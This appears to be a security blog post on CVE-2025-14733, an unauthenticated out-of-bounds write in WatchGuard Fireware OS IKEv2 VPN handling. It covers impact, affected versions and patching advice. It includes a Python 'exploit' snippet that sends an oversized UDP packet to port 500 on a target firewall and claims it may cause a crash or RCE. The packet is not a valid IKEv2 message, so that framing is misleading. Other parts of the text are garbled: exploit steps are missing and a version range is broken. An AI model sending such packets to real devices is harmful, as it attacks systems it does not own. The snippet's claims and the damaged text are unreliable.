A new, critical vulnerability has been reported in WatchGuard Fireware OS, assigned as CVE-2025-14733. This Out-of-bounds Write issue threatens a wide range of WatchGuard devices and, when exploited, allows a remote and unauthenticated attacker to execute arbitrary code on the target system. This article provides a deep dive into the nature of the vulnerability, how the exploit works, who is affected, and what you can do right now.

What is CVE-2025-14733?

CVE-2025-14733 is an out-of-bounds write vulnerability found in WatchGuard Fireware OS. It specifically affects both the Mobile User VPN (using IKEv2) and the Branch Office VPN (also using IKEv2) _when those services are set up with a dynamic gateway peer_. In simple terms, if you’re using dynamic peers for VPN connectivity, your firewall could be exposed.

Impact

- Remote code execution: An attacker can run malicious code on your device—without needing a username or password.

Vulnerable Component

The bug lies in the IKEv2 (Internet Key Exchange, version 2) module within the Fireware OS, specifically when handling VPN configurations that use _dynamic gateway peers_. Failure to enforce correct bounds when processing incoming data allows attackers to write outside the intended memory buffer.

Exploit Scenario

1. Attacker sends specially crafted IKEv2 messages to the Fireware device, targeting the dynamic peer negotiation.

The malicious data overflows into adjacent memory.

4. The overflow can overwrite critical data, such as function pointers or configuration data, allowing the attacker to hijack execution flow—and potentially run their own code.

Example Exploit Snippet

Below is a Python example (for educational purposes only) showing how an attacker might start fuzzing the vulnerable IKEv2 handler over UDP (default port: 500):

import socket

target_ip = "TARGET_FIREWALL_IP"
target_port = 500  # IKEv2 UDP Port

# Create a buffer that exceeds expected length for dynamic peer field
evil_payload = b'\x50\x20\x22\x13'  # IKE_SA_INIT header fragment
evil_payload += b'A' * 1024         # Overlong "dynamic peer" field

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(evil_payload, (target_ip, target_port))
sock.close()

print("Exploit packet sent. Check device for crash or RCE.")

Warning: Never test this against a production device. Only use in a controlled lab environment!

References and Further Reading

- Official Advisory: WatchGuard Security Advisories
- Vulnerability Details: NVD Entry for CVE-2025-14733
- Fireware IKEv2 Documentation: WatchGuard Docs - VPN with IKEv2
- Practical Out-of-bounds Write Attacks: Project Zero Blog - Exploiting Out-of-bounds

You are at risk if

- Your Fireware OS version is in the affected range (11.10.2→11.12.4_Update1, 12.→12.11.5, or 2025.1→2025.1.3).

Patch Immediately:

WatchGuard is expected to release urgent updates to resolve this issue. Check the official download page or your Firebox system for available firmware updates.

Conclusion

CVE-2025-14733 is a high-severity threat for organizations using WatchGuard Fireware OS with IKEv2-based VPNs. It allows complete remote takeover with NO authentication if not patched. The attack is straightforward to automate and could become widespread once public exploit code is available.

Block unnecessary external VPN access.

Have questions or need more help with your WatchGuard devices? Post in the WatchGuard Community Forum!


*This post is an exclusive summary and hands-on guide to CVE-2025-14733, composed by a security researcher for the wider tech community.*

Timeline

Published on: 12/19/2025 00:01:55 UTC
Last modified on: 12/23/2025 11:34:46 UTC